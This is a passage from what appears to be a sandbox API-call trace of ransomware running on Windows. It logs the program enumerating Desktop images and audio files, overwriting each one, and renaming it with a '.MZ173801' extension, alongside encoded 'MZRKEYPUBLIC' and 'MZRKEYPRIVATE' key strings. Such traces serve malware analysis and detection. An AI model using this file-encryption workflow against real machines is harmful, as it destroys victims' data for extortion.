lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0176.116] GetCurrentThreadId () returned 0xab4 [0176.116] GetCurrentThreadId () returned 0xab4 [0176.116] GetCurrentThreadId () returned 0xab4 [0176.117] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\GE2XWZw-UJlajB.png" (normalized: "c:\\users\\fd1hvy\\desktop\\ge2xwzw-ujlajb.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0176.117] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0176.117] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.117] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x9db0 [0176.117] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.117] ReadFile (in: hFile=0x320, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x9db0, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x9db0, lpOverlapped=0x0) returned 1 [0176.118] CloseHandle (hObject=0x320) returned 1 [0176.119] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\GE2XWZw-UJlajB.png" (normalized: "c:\\users\\fd1hvy\\desktop\\ge2xwzw-ujlajb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0176.121] WriteFile (in: hFile=0x320, lpBuffer=0x24aa040*, nNumberOfBytesToWrite=0x9db0, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24aa040*, lpNumberOfBytesWritten=0x19fa24*=0x9db0, lpOverlapped=0x0) returned 1 [0176.123] CloseHandle (hObject=0x320) returned 1 [0176.123] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\GE2XWZw-UJlajB.png" (normalized: "c:\\users\\fd1hvy\\desktop\\ge2xwzw-ujlajb.png"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\GE2XWZw-UJlajB.png.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\ge2xwzw-ujlajb.png.mz173801")) returned 1 [0176.124] GetCurrentThreadId () returned 0xab4 [0176.124] GetCurrentThreadId () returned 0xab4 [0176.124] GetCurrentThreadId () returned 0xab4 [0176.124] GetCurrentThreadId () returned 0xab4 [0176.124] GetCurrentThreadId () returned 0xab4 [0176.124] GetCurrentThreadId () returned 0xab4 [0176.124] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cf1c950, ftCreationTime.dwHighDateTime=0x1d5ef1c, ftLastAccessTime.dwLowDateTime=0x6c86b580, ftLastAccessTime.dwHighDateTime=0x1d5f082, ftLastWriteTime.dwLowDateTime=0x6c86b580, ftLastWriteTime.dwHighDateTime=0x1d5f082, nFileSizeHigh=0x0, nFileSizeLow=0x18887, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="i5uD5Xoo.png", cAlternateFileName="")) returned 1 [0176.124] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0176.124] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0176.124] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\i5uD5Xoo.png" (normalized: "c:\\users\\fd1hvy\\desktop\\i5ud5xoo.png"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cf1c950, ftCreationTime.dwHighDateTime=0x1d5ef1c, ftLastAccessTime.dwLowDateTime=0x6c86b580, ftLastAccessTime.dwHighDateTime=0x1d5f082, ftLastWriteTime.dwLowDateTime=0x6c86b580, ftLastWriteTime.dwHighDateTime=0x1d5f082, nFileSizeHigh=0x0, nFileSizeLow=0x18887)) returned 1 [0176.125] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\i5uD5Xoo.png" (normalized: "c:\\users\\fd1hvy\\desktop\\i5ud5xoo.png")) returned 0x20 [0176.125] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\i5uD5Xoo.png", dwFileAttributes=0x80) returned 1 [0176.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0176.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0176.129] GetCurrentThreadId () returned 0xab4 [0176.129] GetCurrentThreadId () returned 0xab4 [0176.129] GetCurrentThreadId () returned 0xab4 [0176.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0176.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0176.130] GetCurrentThreadId () returned 0xab4 [0176.130] GetCurrentThreadId () returned 0xab4 [0176.130] GetCurrentThreadId () returned 0xab4 [0176.130] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\i5uD5Xoo.png" (normalized: "c:\\users\\fd1hvy\\desktop\\i5ud5xoo.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0176.130] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0176.130] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.130] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x18887 [0176.130] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.130] ReadFile (in: hFile=0x320, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x18887, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x18887, lpOverlapped=0x0) returned 1 [0176.132] CloseHandle (hObject=0x320) returned 1 [0176.134] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\i5uD5Xoo.png" (normalized: "c:\\users\\fd1hvy\\desktop\\i5ud5xoo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0176.137] WriteFile (in: hFile=0x320, lpBuffer=0x24ba040*, nNumberOfBytesToWrite=0x18887, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24ba040*, lpNumberOfBytesWritten=0x19fa24*=0x18887, lpOverlapped=0x0) returned 1 [0176.252] CloseHandle (hObject=0x320) returned 1 [0176.252] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\i5uD5Xoo.png" (normalized: "c:\\users\\fd1hvy\\desktop\\i5ud5xoo.png"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\i5uD5Xoo.png.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\i5ud5xoo.png.mz173801")) returned 1 [0176.253] GetCurrentThreadId () returned 0xab4 [0176.253] GetCurrentThreadId () returned 0xab4 [0176.253] GetCurrentThreadId () returned 0xab4 [0176.253] GetCurrentThreadId () returned 0xab4 [0176.253] GetCurrentThreadId () returned 0xab4 [0176.253] GetCurrentThreadId () returned 0xab4 [0176.254] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3779890, ftCreationTime.dwHighDateTime=0x1d5e44a, ftLastAccessTime.dwLowDateTime=0x8159dc0, ftLastAccessTime.dwHighDateTime=0x1d5e108, ftLastWriteTime.dwLowDateTime=0x8159dc0, ftLastWriteTime.dwHighDateTime=0x1d5e108, nFileSizeHigh=0x0, nFileSizeLow=0x137d5, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="IDF-wgV.m4a", cAlternateFileName="")) returned 1 [0176.254] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0176.254] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0176.254] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\IDF-wgV.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\idf-wgv.m4a"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3779890, 